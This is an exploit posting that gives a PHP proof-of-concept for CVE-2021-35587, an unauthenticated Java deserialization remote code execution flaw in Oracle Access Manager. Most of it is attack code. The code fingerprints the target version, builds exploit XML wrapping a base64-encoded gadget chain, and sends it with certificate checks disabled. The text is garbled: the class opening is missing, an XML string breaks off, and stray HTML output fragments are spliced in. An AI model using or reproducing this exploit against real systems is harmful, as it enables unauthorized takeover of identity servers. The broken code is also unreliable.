=============================================================================================================================================
| # Title : Oracle Access Manager 12.2.1.4.0 Java deserialization vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.oracle.com/ |
=============================================================================================================================================
[+] Summary : https://packetstorm.news/files/id/190368/ & CVE-2021-35587
an unauthenticated Java deserialization vulnerability in the OpenSSO Agent component of Oracle Access Manager that allows remote attackers to execute arbitrary commands without authentication.
The vulnerability exists in the session handling mechanism of the OpenSSO Agent, which improperly deserializes untrusted data from unauthenticated requests.
[+] POC :
php poc.php
target = $target;
$this->port = $port;
$this->ssl = $ssl;
$this->base_path = rtrim($base_path, '/');
$this->timeout = 30;
}
/**
* Check if target is vulnerable to CVE-2021-35587
*/
public function check() {
echo "[*] Checking Oracle Access Manager vulnerability (CVE-2021-35587)...\n";
try {
$version = $this->get_version();
if ($version) {
echo "[*] Detected Oracle Access Manager version: {$version}\n";
$affected_versions = [
'11.1.2.3.0',
'12.2.1.3.0',
'12.2.1.4.0'
];
if (in_array($version, $affected_versions)) {
echo "[+] ✓ Target appears to be vulnerable!\n";
return "vulnerable";
} else {
echo "[-] ✗ Target is not vulnerable (version not affected)\n";
return "safe";
}
} else {
echo "[?] Target appears to be OAM but version could not be determined\n";
return "detected";
}
} catch (Exception $e) {
echo "[-] Check failed: " . $e->getMessage() . "\n";
return "unknown";
}
}
/**
* Execute the exploit
*/
public function exploit($payload) {
echo "[*] Starting Oracle Access Manager RCE exploit...\n";
try {
// Get target version for appropriate gadget chain
$version = $this->get_version();
echo "[*] Target version: {$version}\n";
// Generate exploit XML
$xml_data = $this->generate_exploit_xml($version, $payload);
// Send exploit request
$response = $this->send_exploit_request($xml_data);
if ($response && strpos($response, '200') !== false) {
echo "[+] ✓ Exploit sent successfully\n";
return true;
} else {
echo "[-] ✗ Exploit failed - no response or unexpected status\n";
return false;
}
} catch (Exception $e) {
echo "[-] Exploit failed: " . $e->getMessage() . "\n";
return false;
}
}
/**
* Get Oracle Access Manager version
*/
private function get_version() {
$url = $this->build_url('/pages/impconsent.jsp');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code !== 200) {
throw new Exception("HTTP {$http_code} received");
}
// Check for Oracle-specific headers
if (strpos($response, 'Oracle Access Management Version:') === false) {
throw new Exception("Not an Oracle Access Manager endpoint");
}
// Extract version from response
if (preg_match('/Oracle Access Management Version: (\d+\.\d+\.\d+\.\d+\.\d+)/', $response, $matches)) {
return $matches[1];
}
return null;
}
/**
* Generate exploit XML with gadget chain
*/
private function generate_exploit_xml($version, $payload) {
echo "[*] Generating exploit XML for version {$version}...\n";
// Get appropriate gadget chain
$gadget = $this->get_gadget_chain($version, $payload);
// Encode gadget
$gadget_b64 = base64_encode($gadget);
$requester_b64 = base64_encode("object:{$gadget_b64}");
// Generate random IDs
$reqid = $this->random_string(rand(8, 32));
$session_id = $this->random_string(rand(8, 32));
$request_reqid = $this->random_string(rand(8, 32));
$vers = $this->random_string(rand(8, 32));
$dtdid = $this->random_string(rand(8, 32));
$sid = $this->random_string(rand(8, 32));
// Build XML
$xml = '' . "\n";
$xml .= "
$output"; } else { echo "
Vulnerability: Unauthenticated Java deserialization in OpenSSO Agent
Affected Versions: 11.1.2.3.0, 12.2.1.3.0, 12.2.1.4.0
Impact: Remote Code Execution without authentication
Port: Typically 14100 (HTTP) or 1443 (HTTPS)